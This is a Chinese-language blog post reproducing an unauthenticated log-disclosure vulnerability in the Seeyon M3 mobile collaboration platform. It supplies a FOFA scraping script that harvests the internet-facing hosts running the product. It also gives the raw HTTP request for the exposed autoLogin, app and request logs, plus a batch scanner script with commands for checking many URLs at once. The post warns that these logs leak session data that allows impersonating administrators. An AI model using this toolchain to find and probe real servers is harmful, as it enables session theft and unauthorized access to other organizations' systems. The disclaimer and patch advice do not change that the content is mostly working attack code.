前言
系统学习web漏洞挖掘以及项目实战也有一段时间了,发现在漏洞挖掘过程中难免会碰到一些历史漏洞,来帮助自己或是提高自己挖洞和及时发现漏洞效率,于是开始创建这个专栏,对第一时间发现的1day以及历史漏洞进行复现,来让自己更加熟悉漏洞类型以及历史漏洞,方便自己在后续的项目实战中,碰到漏洞能够及时去查询和复现.
免责声明
本文仅用于技术学习和讨论。请勿使用本文所提供的内容及相关技术从事非法活动,若利用本文提供的内容或工具造成任何直接或间接的后果及损失,均由使用者本人负责,所产生的一切不良后果均与文章作者及本账号无关。
漏洞复现信息收集
fofa搜集
title="M3-Server"
fofa信息搜集脚本
# -*- coding: utf-8 -*-
import requests
import base64
import time
from lxml import etree
import threading
def fofa_search(search_data, page_data):
# 必须要有cookie
headers = {
'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 Safari/537.36 Edg/124.0.0.0',
'Cookie': '' # 填入自己的cookie
}
lock = threading.Lock() # 创建线程锁
def process_page(page):
url = 'https://fofa.info/result?qbase64='
search_worlds_base64 = str(base64.b64encode(search_data.encode("utf-8")), "utf-8")
urls = url + search_worlds_base64 + '&page=' + str(page) + '&page_size=10'
# print(urls) # 打印请求的URL
try:
retry_count = 3
while retry_count > 0:
try:
result = requests.get(url=urls, headers=headers, timeout=10).text
break # 请求成功,跳出重试循环
except requests.RequestException as e:
print("请求发生异常:", e)
retry_count -= 1
if retry_count == 0:
print("请求重试次数已达上限,放弃请求")
return # 放弃当前页面的处理
print("正在提取第" + str(page) + "页")
# print(result)
soup = etree.HTML(result, etree.HTMLParser()) # 初始化生成一个XPath解析对象
ipaddr = soup.xpath('//span[@class="hsxa-host"]/a/@href')
print(ipaddr)
ipaddr = '\n'.join(ipaddr)
print(ipaddr)
with lock: # 使用线程锁保证写入文件的互斥性
with open(r'url.txt', 'a+') as f:
print("写入文件中")
# f.write('页面:'+str(page)+'\n'+ipdata + '\n')
f.write(ipaddr + '\n')
f.close()
time.sleep(0.5) # 防止速度过快导致部分数据被略过
except Exception as e:
print("异常:", e)
max_threads = 2 # 设置最大线程数量为2,超过2会导致页面爬取内容为空
threads = []
for page in range(1, page_data + 1):
while len(threads) >= max_threads:
# 等待当前线程数量降到允许的最大值以下
time.sleep(1)
threads = [t for t in threads if t.is_alive()]
t = threading.Thread(target=process_page, args=(page,))
threads.append(t)
t.start()
for t in threads:
t.join()
print("*********数据提取完成*********")
if __name__ == '__main__':
# fofa语句, 采集页面数
fofa_search('title="M3-Server"', 20)
一、漏洞简述
M3—— 企业移动协同管理平台致远互联M3企业移动协同管理平台,全面覆盖各种工作场景,通过智能化的办公和业务场景融合,为企业构建新一代的移动智能工作方式。
其以下接口存在信息泄露
/mobile_portal/logs/autoLogin.log
/mobile_portal/logs/app.log
/mobile_portal/logs/requset.log
存在未授权信息泄露,攻击者可根据泄露的session信息,伪装成通过验证的管理员/用户进行恶意操作。
二、漏洞检测poc
GET /mobile_portal/logs/autoLogin.log HTTP/1.1
Host: x.x.x.x
User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2227.0 Safari/537.36
Accept-Charset: utf-8
Accept-Encoding: gzip, deflate
Connection: close
三、漏洞检测脚本
渗透测试人员可通过该脚本进行探测自身服务是否存在此漏洞:
poc验证脚本:
poc-exp/SeeYonM3_log_InfoLeakage.py at main · ATonysan/poc-exp · GitHubDiscuss POC and Exp. Contribute to ATonysan/poc-exp development by creating an account on GitHub.https://github.com/ATonysan/poc-exp/blob/main/SeeYonM3_log_InfoLeakage.py
import requests
import urllib3
from urllib.parse import urljoin,quote
import argparse
import ssl
ssl._create_default_https_context = ssl._create_unverified_context
urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)
def read_file(file_path):
with open(file_path, 'r') as file:
urls = file.read().splitlines()
return urls
def check(url):
url = url.rstrip("/")
info_paths = ['/mobile_portal/logs/autoLogin.log','/mobile_portal/logs/app.log','/mobile_portal/logs/requset.log']
headers = {
"User-Agent": "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2227.0 Safari/537.36",
}
for path in info_paths:
target = urljoin(url, path)
try:
response = requests.get(target, verify=False, headers=headers, timeout=15)
if response.status_code == 200 and 'INFO' in response.text:
print(f"\033[31mDiscovered:{target}: YSeeYonM3_log_InfoLeakage!\033[0m")
return True
except Exception as e:
pass
if __name__ == "__main__":
parser = argparse.ArgumentParser()
parser.add_argument("-u", "--url", help="URL")
parser.add_argument("-f", "--txt", help="file")
args = parser.parse_args()
url = args.url
txt = args.txt
if url:
check(url)
elif txt:
urls = read_file(txt)
for url in urls:
check(url)
else:
print("help")
单个url检测漏洞:
python SeeYonM3_log_InfoLeakage.py -u url
批量检测:
python SeeYonM3_log_InfoLeakage.py -f url.txt
四、修复
官方已更新补丁,请升级至最新版本。
官网地址:https://www.seeyon.com/